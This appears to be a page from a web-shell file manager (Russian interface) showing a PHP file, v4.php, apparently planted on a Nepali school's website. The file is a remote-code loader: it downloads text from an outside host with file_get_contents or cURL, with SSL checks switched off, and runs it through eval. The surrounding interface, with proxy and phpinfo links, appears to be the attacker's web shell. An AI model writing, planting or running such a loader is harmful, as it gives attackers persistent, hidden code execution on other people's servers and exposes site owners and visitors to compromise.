Файловый менеджер - Редактировать - /home/c7lekhnath/newlighthss.edu.np/v4.php
Назад
<?php function getRemoteCode($url) { // Coba ambil dengan file_get_contents $kode = @file_get_contents($url); // Jika gagal, gunakan cURL if ($kode === false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Abaikan verifikasi SSL jika perlu curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Ikuti redirect jika ada curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Timeout agar tidak hang $kode = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Periksa apakah permintaan berhasil if ($http_code !== 200 || empty($kode)) { return false; } } return $kode; } $url = "https://seneporno.com/4.txt"; $kode = getRemoteCode($url); if ($kode !== false) { try { eval("?>".$kode); } catch (Throwable $e) { die("Terjadi kesalahan dalam eksekusi kode: " . $e->getMessage()); } } else { die("Gagal mengambil data dari URL."); } ?>
| ver. 1.4 |
Github
|
.
| PHP 8.3.20 | Генерация страницы: 0.02 |
proxy
|
phpinfo
|
Настройка